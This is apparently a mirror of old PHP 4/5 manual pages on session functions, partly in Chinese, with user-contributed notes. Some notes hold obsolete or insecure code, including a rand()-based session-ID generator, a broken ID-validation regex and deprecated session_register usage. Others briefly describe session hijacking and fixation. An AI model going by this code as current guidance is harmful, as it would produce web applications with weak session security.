Note that there's a bug with custom session handlers and when you want to start a session again after you have called session_destroy.

session_destroy disables the custom session_handler and this a call to session_start after it will fail with "Failed to initialize storage module".

See http://bugs.php.net/32330 for more information and a workaround.
n beh ih AT gmx dott nett
09-Jan-2005 09:57
[Editor's Note]
doing $_SESSION = array();
is faster/quicker and works aswell.
[/Note]

If you want to keep your session_id() unchanged, but you want to reset all session variables, BEWARE of unset($_SESSION). Doing so, and setting session variables (like $_SESSION['test']) afterwards has the effect, that your changes will not be saved at the end of your script (not even with session_write_close()).

So you better code like this:
foreach ($_SESSION as $VarName => $Value)  {
   unset ($_SESSION[$VarName]);
}
$_SESSION['test'] = 'MyTestValue';
Johan
20-Nov-2004 10:00
Remember that session_destroy() does not unset $_SESSION at the moment it is executed.  $_SESSION is unset when the current script has stopped running.
thomas at uninet dot se
07-Oct-2004 11:25
I did encounter a minor problem when I tried to remove the physical file that stores the session. The problem was that my working directory wasn't on the same drive as my PHP installation (yes, I used Windows).

So I used the PHP_BINDIR to start at the same place as PHP does and then change directory to the place that was specified in PHP.INI. This makes it transparent to relative paths in session.save_path.

<?php
function DeleteSessionID($sessionid) {
  $orgpath = getcwd();
  chdir(PHP_BINDIR);
  chdir(session_save_path());
  $path = realpath(getcwd()).'/';
  if(file_exists($path.'sess_'.$sessionid)) {
   // Delete it here
   unlink($path.'sess_'.$sessionid);
  } else {
   // File not found
  }
  chdir($orgpath);
}

?>

The final chdir($orgpath) is just to restore the working directory as it were before .
nhamill at wam dot umd dot edu
15-Aug-2003 11:36
For deleting the session cookie:
 setcookie( session_name() ,"",0,"/");
that worked for me.  When I ran that function without the last parameter, it didn't work.  If you leave out that parameter( domain ), it will default to the current directory, which isn't always the same as the session cookie's domain.

nick
powerlord at spamless dot vgmusic dot com
19-Nov-2002 03:41
This code might be a bit better for expiring session cookies, in case your domain, path, and/or secure session cookie settings are changed.

   $CookieInfo = session_get_cookie_params();
   if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
   } elseif (empty($CookieInfo['secure'])) {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
   } else {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
   }
   unset($_COOKIE[session_name()]);
   session_destroy();
add a note add a note

后退 | 起点 | 前进
session_decode | 上一级 | session_encode


session_encode

(PHP 4, PHP 5)

session_encode -- 将当前会话数据编码为一个字符串

描述

string session_encode ( void )

session_encode()返回一个字符串,该字符串包含有被编码的当前会话数据。

参见 session_decode()。

add a note add a note User Contributed Notes
<carlos sica>sica at wnet dot com dot br
06-May-2005 12:19
session_encode() just return the session dataset in a formatted form

session_start();

$_SESSION['login_ok'] = true;
$_SESSION['nome'] = 'sica';
$_SESSION['inteiro'] = 34;

echo session_encode();

this code will print

login_ok|b:1;nome|s:4:"sica";inteiro|i:34;
add a note add a note

后退 | 起点 | 前进
session_destroy | 上一级 | session_get_cookie_params


session_get_cookie_params

(PHP 4, PHP 5)

session_get_cookie_params -- Get the session cookie parameters

Description

array session_get_cookie_params ( void )

The session_get_cookie_params() function returns an array with the current session cookie information, the array contains the following items:

  • "lifetime" - The lifetime of the cookie in seconds.

  • "path" - The path where information is stored.

  • "domain" - The domain of the cookie.

  • "secure" - The cookie should only be sent over secure connections. (This item was added in PHP 4.0.4.)

See also the configuration directives session.cookie_lifetime, session.cookie_path, session.cookie_domain, session.cookie_secure, and session_set_cookie_params().

add a note add a note User Contributed Notes
scott at firefallpro dot com
01-Dec-2005 06:30
Note that this function pulls the session cookie parameters from the php ini file unless otherwise set with session_set_cookie_params(). In other words it will not check the client cookie's parameters if one exists.
powerlord at spamless dot vgmusic dot com
19-Nov-2002 03:35
This function is quite handy when it comes to expiring session cookies... since Session cookies don't automatically get destroyed (see the session_destroy page).

For instance, here's what I plan to use to expire session cookies:

   $CookieInfo = session_get_cookie_params();
   if ( (empty($CookieInfo['domain'])) && (empty($CookieInfo['secure'])) ) {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path']);
   } elseif (empty($CookieInfo['secure'])) {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain']);
   } else {
       setcookie(session_name(), '', time()-3600, $CookieInfo['path'], $CookieInfo['domain'], $CookieInfo['secure']);
   }
   session_destroy();

It doesn't check to see if the path part of the session cookie is set because the defaults in php.ini have this set already, unlike domain and secure.
add a note add a note

后退 | 起点 | 前进
session_encode | 上一级 | session_id


session_id

(PHP 4, PHP 5)

session_id -- Get and/or set the current session id

说明

string session_id ( [string id] )

session_id() is used to get or set the session id for the current session.

The constant SID can also be used to retrieve the current name and session id as a string suitable for adding to URLs. Note that SID is only defined if the client didn't send the right cookie. See also Session handling.

参数

id

If id is specified, it will replace the current session id. session_id() needs to be called before session_start() for that purpose. Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z, A-Z and 0-9!

注: When using session cookies, specifying an id for session_id() will always send a new cookie when session_start() is called, regardless if the current session id is identical to the one being set.

返回值

session_id() returns the session id for the current session or the empty string ("") if there is no current session (no current session id exists).

参见

session_regenerate_id()
session_start()
session_set_save_handler()
session.save_handler

add a note add a note User Contributed Notes
simon at quo dot com dot au
07-Mar-2006 02:15
Length of PHPSESSID appears to be 32 characters by default.
jwhatcher at hotmail dot com
08-Jul-2005 03:21
Killing the session_id when using cookies to store the session_id. Useful when needing to recreate a user with different session information during an open session.

   unset($_COOKIE[session_name()]);
   session_start();
jpjounier at hotmail dot com
23-Jun-2005 07:28
About the note from Cybertinus :

The following test doesn't work, the code following is always executed :

if(!session_id())
{
// Always executed even if there's already an opened session
}

session_id() returns an empty string if there is no current session, so to test if a session already exists, it's better to write this :
if(session_id() == "")
{
session_start();
}
else
{
// Anything you want
}
cbarnes at bfinity dot net
10-May-2005 09:44
Note that Firefox and Mozilla use the same process for launching new windows or tabs, they will pick up the same session id as the previous windows until the parent process dies or is closed. This may cause undesired results if the session id is stored in a db and checked, a solution is to check at the new entry point (new tab or window if the user went back to the index page) for an existing session. If a session id exists and a new one is required use something like:

$ses_id = session_id();
$bsid_exists = false;
$bsid_exists = check_session_id_from_db($ses_id);
 if ($bsid_exists){
 //This is a reentry and the session already exists
 // create a new session ID and start a new
session_regenerate_id();
$ses_id = session_id();
 }
jeff_zamrzla
11-Feb-2005 07:03
Try this code snippet, from a book by a security expert who says this is more secure to place on every page:

session_start();
$_SESSION['name'] = "YourSession";

if (!isset($_SESSION['initiated']))
{
   session_regenerate_id();
   $_SESSION['initiated'] = true;
}
karlhaines at comcast dot net
31-Oct-2003 09:05
Rewriting URL's is not suggested for obvious security issues. Please be careful with register_globals when using sessions! Check that all information you recieve from a user is valid before accepting it!
Andi, info at pragmaMx dot org
17-Jan-2003 05:13
you can also add the iframe tag:
ini_set("url_rewriter.tags", "a=href,area=href,frame=src,iframe=src,input=src,form=fakeentry");
add a note add a note

后退 | 起点 | 前进
session_get_cookie_params | 上一级 | session_is_registered


session_is_registered

(PHP 4, PHP 5)

session_is_registered -- Find out whether a global variable is registered in a session

Description

bool session_is_registered ( string name )

session_is_registered() returns TRUE if there is a global variable with the name name registered in the current session.

注: If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use isset() to check a variable is registered in $_SESSION.

注意

If you are using $_SESSION (or $HTTP_SESSION_VARS), do not use session_register(), session_is_registered() and session_unregister().

add a note add a note User Contributed Notes
steve at fakesterdesigns com
29-Jun-2004 11:21
since it seems a little tedious to use $_SESSION['var'] all over my code, I just make a reference at the start of my page and use the simple reference name thereafter.

<?
session_start();

$myName = &$_SESSION['myName'];

echo($myName);

?>

This is, of course, only a reference and not a copy. So if you change the local variable, It'll be changed in the $_SESSION global array as well. This could be good or bad, so just be aware of what you're doing.
Tuukka from Finland
18-Jun-2004 03:16
From the previous note:
--------------------------------------------------
So, forget session_register(), session_unregister(), session_destroy() and al those stupid functions. The only thing you need is the super global $_SESSION.
--------------------------------------------------

I do have to disagree about the session_destroy() function; if you want to remove the session file created in the server tmp or whatever folder, you must use session_destroy() function.

The <?php $_SESSION = array(); ?> code only unsets the superglobal variables.

For clearing the superglobals, the cookie and deleting the server session file, my advice would be using the code below.

<?php

//session_start(); // if your session wasn't started yet
setcookie(session_name() ,"",0,"/");
unset($_COOKIE[session_name()]);
$_SESSION = array();
session_unset();
session_destroy();

?>
webmaster __AT__ digitalanime __DOT__ nl
22-Feb-2004 06:47
Do not use this anymore!

As of PHP 4.* the super globals are used, so you have to FORGET this function. Super globals are way more safe and they are exactly what they have to be: Clear.

$_POST says that variables in that array come from a form.
$_GET says that variables are passed through the URI.
$_SESSION says (more than clear) that variables are in a session.

USE THEM! They are not there because of their beauty or something..

So, forget session_register(), session_unregister(), session_destroy() and al those stupid functions. The only thing you need is the super global $_SESSION.
somedude at wholikesphp dot com
01-Nov-2002 02:02
Just to elaborate for those who may be having some problems.
If you're using a newer version of PHP that comes with the register globals directive set to "off", you should heed the caution at the top of these notes. It's easier anyway.

Instead of using session_register(...) , simply use somethig like:

<?
//must always start the session first
session_start();

//in place of session register(..) use...like someone said above
$_SESSION['VARNAME'] = $something // or "something";

/* then on the same page or subsequent pages where you want check for the session use something like....

and on another page where the session hasn't been started you have to call session_start(); first, if the session has already been started you don't need to call it again */

session_start();

//instead of session_is_registered();
if(isset($_SESSION['VARNAME']))
{
   print("What you want if the session var is set");
}
else
{
   print("What you want if the sessions variable is not set");
}

?>

I hope this helps someone! If you want to learn more about $_SESSION and/or it's related "superglobals" try

http://www.php.net/manual/en/printwn/language.variables.predefined.php

good road!
miguel dot simoes at swirve dot com
13-Jun-2002 07:27
When using PHP 4.2.0 even on the same page where you registered the variable with:

session_register("someVar");

if you try to see if the variable is set and do not assign it a value before, the function used in the previous comment will give the same output.
 This may show that the variable is declared and will not be set until some value is give assign to it.
 I think that this way will give the option to register all the variables used for sure on the process on the first page and using them as the time comes.
add a note add a note

后退 | 起点 | 前进
session_id | 上一级 | session_module_name


session_module_name

(PHP 4, PHP 5)

session_module_name -- Get and/or set the current session module

Description

string session_module_name ( [string module] )

session_module_name() returns the name of the current session module. If module is specified, that module will be used instead.

add a note add a note User Contributed Notes
kaufmann at cyland dot com
21-Jul-2000 02:05
Read http://www.zend.org/zend/tut/session.php ...
add a note add a note

后退 | 起点 | 前进
session_is_registered | 上一级 | session_name


session_name

(PHP 4, PHP 5)

session_name -- Get and/or set the current session name

Description

string session_name ( [string name] )

session_name() returns the name of the current session. If name is specified, the name of the current session is changed to its value.

The session name references the session id in cookies and URLs. It should contain only alphanumeric characters; it should be short and descriptive (i.e. for users with enabled cookie warnings). The session name is reset to the default value stored in session.name at request startup time. Thus, you need to call session_name() for every request (and before session_start() or session_register() are called).

警告

Session name can't consist only from digits, at least one letter must be present. Otherwise new session id is generated every time.

例子 1. session_name() examples

<?php

/* set the session name to WebsiteID */

$previous_name = session_name("WebsiteID");

echo "The previous session name was $previous_name<br />";
?>

See also the session.name configuration directive.

add a note add a note User Contributed Notes
Juergen Nantke - info at nantke dot de
10-Aug-2005 11:11
Be carefull not use a dot (.) in the session name.
tjerk dot meesters at gmail dot com
13-Jul-2005 06:32
Another way of preventing a warning being issued, is by using only cookies to propagate a session:

 ini_set('session.use_only_cookies',1);
php at REMOVETHIS dot kennel17 dot co dot uk
27-Jun-2005 10:47
In response to codegrunt slave, you could suppress any warnings from being output by using the @ symbol.

<?php
// This will fail, but no message will be output:
@session_name("(bad name)");
?>

Alternatively, you could use output buffering instead of the @ symbol if you wanted to check whether an error occurred.

<?php
ob_start();
session_name("(bad name)");
$Output = ob_get_contents();
ob_end_clean();
if ($Output != "")
   print("Bad session name!");
?>
slave at codegrunt dot com
23-Dec-2004 06:03
One gotcha I have noticed with session_name is that it will trigger a WARNING level error if the cookie or GET/POST variable value has something other than alphanumeric characters in it.  If your site displays warnings and uses PHP sessions this may be a way to enumerate at least some of your scripts:

http://example.com/foo.php?session_name_here=(bad)

Warning: session_start(): The session id contains invalid characters, valid characters are only a-z, A-Z and 0-9 in /some/path/foo.php on line 666

I did not see anything in the docs suggesting that one had to sanitize the PHP session ID values before opening the session but that appears to be the case.

Unfortunately session_name() always returns true so you have to actually get to the point of assigning variables values before you know whether you have been passed bad session data (as far as I can see).  After the error has been generated in other words.

Cheers
Hongliang Qiang
28-May-2004 04:48
This may sound no-brainer: the session_name() function will have no essential effect if you set session.auto_start to "true" in php.ini . And the obvious explanation is the session already started thus cannot be altered before the session_name() function--wherever it is in the script--is executed, same reason session_name needs to be called before session_start() as documented.

I know it is really not a big deal. But I had a quite hard time before figuring this out, and hope it might be helpful to someone like me.
add a note add a note

后退 | 起点 | 前进
session_module_name | 上一级 | session_regenerate_id


session_regenerate_id

(PHP 4 >= 4.3.2, PHP 5)

session_regenerate_id -- Update the current session id with a newly generated one

说明

bool session_regenerate_id ( [bool delete_old_session] )

session_regenerate_id() will replace the current session id with a new one, and keep the current session information.

参数

delete_old_session

Whether to delete the old associated session file or not. Defaults to FALSE.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

更新日志

版本 | 说明
4.3.3 | Since then, if session cookies are enabled, use of session_regenerate_id() will also submit a new session cookie with the new session id.
5.1.0 | Added the delete_old_session parameter.

范例

例子 1. A session_regenerate_id() example

<?php
session_start();

$old_sessionid = session_id();

session_regenerate_id();

$new_sessionid = session_id();

echo "Old Session: $old_sessionid<br />";
echo "New Session: $new_sessionid<br />";

print_r($_SESSION);
?>

参见

session_id()
session_start()
session_name()

add a note add a note User Contributed Notes
Gant at BleachEatingFreaks dot com
25-Jan-2006 04:57
I am calling session_regenerate_id() from inside a method in an object.  Since session fixation can occur at permission changes, I have my object call session fixation at these particular security changes.

Unfortunately, it seems to fabricate some kind of temporary new session, and then the very next page that loads, it jumps back to the old session id.  There seems to be no way to make the regeneration perminent.
frank
08-Jan-2006 09:56
session_regenerate_id(); not present and still want to change
session id's - below a function which will do the same
<?php

function sessie_regenerate_id() {
   $randlen = 32;
   $randval = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
   $random = "";
   for ($i = 1; $i <= $randlen; $i++) {
       $random .= substr($randval, rand(0,(strlen($randval) - 1)), 1);
   }
   // use md5 value for id or remove capitals from string $randval
   // $random = md5($random);
   if (session_id($random)) {
       return true;
   } else {
       return false;
   }
}
if (!function_exists("session_regenerate_id")) {
   sessie_regenerate_id();
} else {
   session_regenerate_id();
}

?>
sopel
19-Sep-2005 08:32
for php 5.1> user probably worth visiting is http://ilia.ws/archives/47-session_regenerate_id-Improvement.html
dyer85 at gmail dot com
25-Aug-2005 01:59
There could be a potential problem with elger at NOSPAM dot yellowbee dot nl's a few posts below. In the code, was used the REQUEST_URI server variable, which, in some cases might already contain the query string. Therefore, always apending '?whatever=foo' would occasionally cause the script to malfunction. I suggest using PHP_SELF, which will not contain the query string after the file.
18-Jul-2005 11:39
It would be more reliable to use the following regular expression when checking session_ids, as HEX strings (MD5) are only of characters a-f and 0-9;

preg_match('/[0-f]/i', $session_id);
Nicolas dot Chachereau at Infomaniak dot ch
03-Jun-2005 02:40
Session_destroy() does not only destroy the data associated with the current session_id (i.e. the file if you use the default session save handler), but also the session itself: if you call session_destroy() and then session_regenerate_id(), it will return false, and session_id() won't return anything. In order to manipulate a session after destroying it, you need to restart it.

So in fact, the code mentionned by chris won't work. If you want to destroy the file associated with the old session_id, try the following:
<?php
session_start();
$old_sessid = session_id();
session_regenerate_id();
$new_sessid = session_id();
session_id($old_sessid);
session_destroy();

//If you don't copy the $_SESSION array, you won't be able to use the data associated with the old session id.
$old_session = $_SESSION;
session_id($new_sessid);
session_start();
$_SESSION = $old_session;
//...
?>

Note: this technique will send 3 Set-Cookie headers (one on each session_start() and one on session_regenerate_id()). I don't think this is a problem, but if it appears to be one, you could either leave it alone and wait for the garbage collector to catch the file associated with the old session, or try to delete the file with unlink().
chris at knowledge dot tee-vee
17-Jan-2005 09:51
licp - no, session_regenerate_id() does not destroy any saved session data.

elger, I prefer the following order

[code]
// populate $_SESSION with any previously saved session data for the current session_id
session_start();
...
// delete any saved data associated with current session_id, $_SESSION is not changed
session_destroy();

// change session_id, $_SESSION not altered
session_regenerate_id();
...
// save any $_SESSION data under the current session_id
session_close();
[/code]
licp at hotmail dot com
07-Jan-2005 12:07
By inspecting the source code, I am not sure that after session_regenerate_id() run, the original session data does not destroy (still keeps at the system) that sniffers still hijack by applying original session identifier.

In addition, I find that if user-level session storage handler is used. session_regenerate_id() does not work.
php at cny dot de
21-Dec-2004 01:08
Also note that REMOTE_ADDR may change on every request if the user comes through a proxy farm. Most AOL-users do.
ross at kndr dot org
16-Nov-2004 07:41
In a previous note, php at 5mm de describes how to prevent session hijacking by
ensuring that the session id provided matches the HTTP_USER_AGENT and REMOTE_ADDR fields that were present when the session id was first issued.  It should be noted that HTTP_USER_AGENT is supplied by the client, and so can be easily modified by a malicious user.  Also, the client IP addresses can be spoofed, although that's a bit more difficult.  Care should be taken when relying on the session for authentication.
elger at NOSPAM dot yellowbee dot nl
28-Oct-2004 05:10
Take good notice of the new cookie being sent on calling session_regenerate_id on cookie-enabled sessions.
Make sure your page is reloaded otherwise you'll get an "session_destroy(): Session object destruction failed" error. So here are the examples:

Wrong:
<?php
   session_start();
   session_regenerate_id();
   session_destroy();
?>

Correct-like:
<?php
if (!$_GET['mode']){
   session_start();
   session_regenerate_id();
   header('location: '.$_SERVER['REQUEST_URI'].'?mode=destroy');
} else {
   session_start();
   session_destroy();
}
?>

I noted this because googleing on the previous mentioned error leads to all kinds of bug reports, but not to the solution. (which is, of course, to read the manual)
timo at frenay dot net
27-Aug-2004 02:32
This function is vital in preventing session fixation attacks, but is unfortunately missing in PHP versions prior to 4.3.2. This creates a serious security problem if you can't update your PHP version, like me. Therefore I attempted to port this function to PHP itself:

<?php
   if (!function_exists('session_regenerate_id')) {
       function php_combined_lcg() {
           $tv = gettimeofday();
           $lcg['s1'] = $tv['sec'] ^ (~$tv['usec']);
           $lcg['s2'] = posix_getpid();

           $q = (int) ($lcg['s1'] / 53668);
           $lcg['s1'] = (int) (40014 * ($lcg['s1'] - 53668 * $q) - 12211 * $q);
           if ($lcg['s1'] < 0)
               $lcg['s1'] += 2147483563;

           $q = (int) ($lcg['s2'] / 52774);
           $lcg['s2'] = (int) (40692 * ($lcg['s2'] - 52774 * $q) - 3791 * $q);
           if ($lcg['s2'] < 0)
               $lcg['s2'] += 2147483399;

           $z = (int) ($lcg['s1'] - $lcg['s2']);
           if ($z < 1) {
               $z += 2147483562;
           }

           return $z * 4.656613e-10;
       }

       function session_regenerate_id() {
           $tv = gettimeofday();
           $buf = sprintf("%.15s%ld%ld%0.8f", $_SERVER['REMOTE_ADDR'], $tv['sec'], $tv['usec'], php_combined_lcg() * 10);
           session_id(md5($buf));
           if (ini_get('session.use_cookies'))
               setcookie('PHPSESSID', session_id(), NULL, '/');
           return TRUE;
       }
   }
?>

To test this:
<?php
   session_start();
   $sid = session_id();
   session_regenerate_id();
   echo "Old session ID: ", $sid, "\nNew session ID: ", session_id(), "\n";
?>

- will output something similar to:
Old session ID: 6e3521f44be4fc452b368e703f044ca1
New session ID: 1c6dac9a3e794f164d4115872b902471
babel at nosqamplease sympatico ca
23-Feb-2004 12:48
To add to php at 5mm de's comments:

If the session is held over https, it's even better to save the client's cert or ssl session id instead of the hostname or ip, as it's proxy-transparent and more secure.
php at 5mm de
05-Sep-2003 09:01
This feature seems to create a new session ID without clearing the old session data. This is a very important feature for security validation:

$usedns = TRUE; // for eliminating failture by proxys using IP chains, but slower

$useragent = getenv("HTTP_USER_AGENT");
$host = getenv("REMOTE_ADDR");
$dns = $global['dns'] ? @gethostbyaddr($host):$host;

session_start();

if(session_is_registered('securitycheck')) {
   if(
           (($_SESSION['session']['host'] != $this->host) && !$usedns)
         || ($_SESSION['session']['dns'] != $this->dns)
         || ($_SESSION['session']['useragent'] != $this->useragent)
   ) {
       session_regenerate_id();
       session_unset();
   }
} else {
   $currentdata = array();
   $currentdata['host'] = $this->host;
   $currentdata['dns'] = $this->dns;
   $currentdata['useragent'] = $this->useragent;

   session_register('securitycheck', $currentdata);
}

If sombody steals an active SID (e.g. by referrer or injection attack), he cant be validated because of either the host / dns or useragent and will get a new (empty) SID, without interrupting the original session.

Please mail me for any comments: php at 5mm de
madsen at sjovedyr.dk
28-Aug-2003 10:26
I had problems with a proxy changing a visitors session_id-cookie, so he'd get a LOT of errors when visiting my site.
I handled the bogus session-id's like this. (Note: It only works in versions > 4.3.2.)

<?php
// Start a session and suppress error-messages.
@session_start();

// Catch bogus session-id's.
if (!preg_match("/^[0-9a-z]*$/i", session_id())) {

   // Output a warning about the messed up session-id.
   $error->handleError("WARN", "Your session id is messed up, you might not be able to use some features on this site.");

   // Generate a fresh session-id.
   session_regenerate_id();
}

// Site contents.
?>

Hope someone can use it.
add a note add a note

后退 | 起点 | 前进
session_name | 上一级 | session_register


session_register

(PHP 4, PHP 5)

session_register -- Register one or more global variables with the current session

Description

bool session_register ( mixed name [, mixed ...] )

session_register() accepts a variable number of arguments, any of which can be either a string holding the name of a variable or an array consisting of variable names or other arrays. For each name, session_register() registers the global variable with that name in the current session.

注意

If you want your script to work regardless of register_globals, you need to instead use the $_SESSION array as $_SESSION entries are automatically registered. If your script uses session_register(), it will not work in environments where the PHP directive register_globals is disabled.

register_globals 重要说明: 自 PHP 4.2.0 起，PHP 中的选项 register_globals 的默认值被设为 off。PHP 社区鼓励大家不要依赖于这个选项，用其它方法替代，例如superglobals。

注意

This registers a global variable. If you want to register a session variable from within a function, you need to make sure to make it global using the global keyword or the $GLOBALS[] array, or use the special session arrays as noted below.

注意

If you are using $_SESSION (or $HTTP_SESSION_VARS), do not use session_register(), session_is_registered(), and session_unregister().

This function returns TRUE when all of the variables are successfully registered with the session.

If session_start() was not called before this function is called, an implicit call to session_start() with no parameters will be made. $_SESSION does not mimic this behavior and requires session_start() before use.

You can also create a session variable by simply setting the appropriate member of the $_SESSION or $HTTP_SESSION_VARS (PHP < 4.1.0) array.

<?php
// Use of session_register() is deprecated
$barney = "A big purple dinosaur.";
session_register("barney");

// Use of $_SESSION is preferred, as of PHP 4.1.0
$_SESSION["zim"] = "An invader from another planet.";

// The old way was to use $HTTP_SESSION_VARS
$HTTP_SESSION_VARS["spongebob"] = "He's got square pants.";
?>

注: It is currently impossible to register resource variables in a session. For example, you cannot create a connection to a database and store the connection id as a session variable and expect the connection to still be valid the next time the session is restored. PHP functions that return a resource are identified by having a return type of resource in their function definition. A list of functions that return resources are available in the resource types appendix.

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, assign values to $_SESSION. For example: $_SESSION['var'] = 'ABC';

See also session_is_registered(), session_unregister(), and $_SESSION.

add a note add a note User Contributed Notes
guideng at unlv dot nevada dot edu
02-Jun-2006 04:10
Make sure you put session_start() at the beggining of your script.

My sessions kept unsetting and I finally figured out why.

On my script, session_start() has to be said and uses cookies to set the session.

But I was outputting html prior to calling session_start(), which prevented it from succeeding becouse it uses the header function to place the cookies.

Once html has been outputed, session_start() can't use the header function to set cookies, hence session_start() fails and no session can be started.
martijn at brothersinart dot net
12-Apr-2006 05:04
Please note that if you use a "|" sign in a variable name your entire session will be cleared, so the example below will clear out all the contents of your session.

<?php
session_start();
$_SESSION["foo|bar"] = "foo";
?>

It took me quite some time finding out why my session data kept disappearing. According to this bugreport this behaviour is intended.
http://bugs.php.net/bug.php?id=33786
hairguy
21-Mar-2006 02:53
I wasted about two days trying to figure out why some of my session data was being lost.  The problem occurred intermittently and I was nearly convinced it had to be a PHP bug.

Since my session data was being stored in mysql, I finally thought to check the definition of the session table.  The session data was stored in a column of type 'text' (which can only hold 65,535 bytes of data).

Changing the session column to type 'mediumtext' (which can hold 16,777,215 bytes) solved the problem.

Perhaps this tip will help someone else who may be experiencing similar session loss problems.
creepers at businessrealmz dot com
28-Feb-2006 01:49
sometimes you know everything was right but you still get an error Cannot send session cache limiter - headers already sent (output started at blah blah...; you may spend an hour until you discover that your php tag  was at the second line of your script. this is true specially when you are under pressure..i hope this will help...
mikej
21-Nov-2004 05:40
I've noticed that if you try to assign a value to a session variable with a numeric name, the variable will not exist in future sessions.
For example, if you do something like:
session_start();
$_SESSION['14'] = "blah";
print_r($_SESSION);

It'll display:
Array ( [14] => "blah" )

But if on another page (with same session) you try
session_start();
print_r($_SESSION);

$_SESSION[14] will no longer exist.

Maybe everyone else already knows this, but I didn't realize it until messing around with a broken script for quite a while.
baldanders
13-Nov-2004 03:05
If you are using sessions and use session_register()  to register objects, these objects are serialized automatically at the end of each PHP page, and are unserialized automatically on each of the following pages. This basically means that these objects can show up on any of your pages once they become part of your session.
dominik-ruess at gmx dot de
14-Dec-2003 06:58
Do not even think of using "global" together with "$_SESSION":

<?php

// Will only work on some servers (or some PHP-Versions - I don't know):
function test()
{
     global $_SESSION;

     $_SESSION["test"]=1;
}

// correct way:
function test()
{
     $_SESSION["test"]=1;
}
?>

took me hours to recognize :/
gianni_t76 at yahoo dot it
05-Aug-2003 03:42
You don't need to serialize an object before adding it to a session var

example:

include("class.exmaple.php");
$obj = new exampel ();
$_SESSION['obj']=$obj;

and to resume the object:

include("class.example.php");
$obj = $_SESSION['obj']);
ice at thesurf dot no-ip dot com
02-Apr-2003 08:09
If you use objects it is alsways a good idear to make a var or array that hold your object-handler

exampel:
include("class.exmaple.php");
$obj = new exampel ();

$se_obj = serialize($obj);

$_SESSION['se_obj']=$se_obj;

when you then got on the next page and so a start_session()
and you don't habe includet the classdescription, your object will still not break.
Just do a
include("class.example.php");
$obj = unserialze($_SESSION['se_obj']);

and all is fine.
This is a preaty good trick if you do some includings in the next page an use the object in a file you include :)
add a note add a note

后退 | 起点 | 前进
session_regenerate_id | 上一级 | session_save_path


session_save_path

(PHP 4, PHP 5)

session_save_path -- Get and/or set the current session save path

Description

string session_save_path ( [string path] )

session_save_path() returns the path of the current directory used to save session data. If path is specified, the path to which data is saved will be changed. session_save_path() needs to be called before session_start() for that purpose.

注: On some operating systems, you may want to specify a path on a filesystem that handles lots of small files efficiently. For example, on Linux, reiserfs may provide better performance than ext2fs.

See also the session.save_path configuration directive.

add a note add a note User Contributed Notes
gt at psgam dot de
25-Feb-2005 09:58
Note that you shouldn't use session_save_path() directly for performing file operations.
It returns the configuration option, not the directory.
As stated in /manual/en/ref.session.php#ini.session.save-path there can be a numeric argument separated with a semicolon in front of the "real" path.
I used the following code to get rid of it:
<?php
$sessionpath = session_save_path();
if (strpos ($sessionpath, ";") !== FALSE)
  $sessionpath = substr ($sessionpath, strpos ($sessionpath, ";")+1);
?>
Doesn't allow ; to appear in the directory names, but hey.

Regards,
Gero
designofgod at yahoo dot com
15-Feb-2005 10:12
sometime you need to change session.save_path because server system distributed more then one machine and you can not reach php.ini file example sourceforge.net. Then you can do that with .htaccess file which is kind of configuration file for Apache under one directory. anyway I added

php_value session.save_path /home/groups/f/f4/f4l/tmp/

now my sessions work very well I hope :)
webmaster at gardenchemicals dot co dot uk
16-Sep-2004 10:59
This is an absolute must if you have an important login on a shared server. Without it, other users of the server can do the following to bypass login:

* Visit login page, browse through cookies and grab the session id.
* Create a PHP script on their account that grabs and sets session variables for a given session id.
* Read and change any values for that session id (for example passwords or session keys), and therefore gain access to the protected area.

All users on web hosting should choose an dir below the HTTP directory struct, but within their user area to store the session files.
a9504778 at unet dot univie dot ac dot at
15-Jan-2001 07:09
dont forget: if you use session_save_path on the page, that registers a variable, you have also to use session_save_path on all the pages, where you access the session-variable. under win32 you can use the double \\ to specify eg "c:\\temp\\"
add a note add a note

后退 | 起点 | 前进
session_register | 上一级 | session_set_cookie_params


session_set_cookie_params

(PHP 4, PHP 5)

session_set_cookie_params -- Set the session cookie parameters

Description

void session_set_cookie_params ( int lifetime [, string path [, string domain [, bool secure]]] )

Set cookie parameters defined in the php.ini file. The effect of this function only lasts for the duration of the script. Thus, you need to call session_set_cookie_params() for every request and before session_start() is called.

注: The secure parameter was added in PHP 4.0.4.

See also the configuration directives session.cookie_lifetime, session.cookie_path, session.cookie_domain, session.cookie_secure, and session_get_cookie_params().

add a note add a note User Contributed Notes
trukin at gmail dot com
05-Dec-2005 08:07
if you have a website with rewrite on it, and you use a ""Rewrite Style Folders"" and you are using session to keep the user online, you must use session_set_cookie_params to set the path to '/' Because you might have problems getting to another part of your website.

Trukin
stalker at ruun dot de
08-Jul-2005 06:11
to oracel,

sure the cookie-lifetime does not work when you use time()+..., because the expire-date will be calculated out of time() and the value you used for lifetime automatically when you use session_start().

grz,
Stalker
oracel at start dot no
29-May-2005 02:58
This seems to work only if you specify a lifetime within a certain limit. I spent a while debugging this since it didn't send a proper expiration time when I used time() + 60 * 60 * 24 * 365. However if you omit time() it works perfectly.
jordi at jcanals dot net
15-Nov-2004 09:39
Something that has taken me some time to debug: session_set_cookie_params() does not work when the domain param is just a one level domain, like it was a TLD.

I have a site in an intranet and our internal domain is .local, so trying to set the cookie session to the .local domain does not work:

session_set_cookie_params(0, '/', '.local'); // Does not work

In all test I've done, setting the domain only works for SLDs and above:

session_set_cookie_params(0 , '/', '.sld.local'); Does work

This is nothing to do with PHP but the http protocol, witch does not permit setting cookies for TLDs for obvious security reasons.
treeml at itree dot org
13-Aug-2003 06:13
If the server time is not properly set, e.g(it is behind the client time).    Excution of the following code

session_set_cookie_params(2000);
session_start();

will NOT set/send cookie to  Internet Explorer 6.0,

even though it will set the cookie on Mozilla/Firebird browser.  But the cookie will get set without the session_set_cookie_params();

Same holds true for following code,

$expiry = 60*30;
session_start();
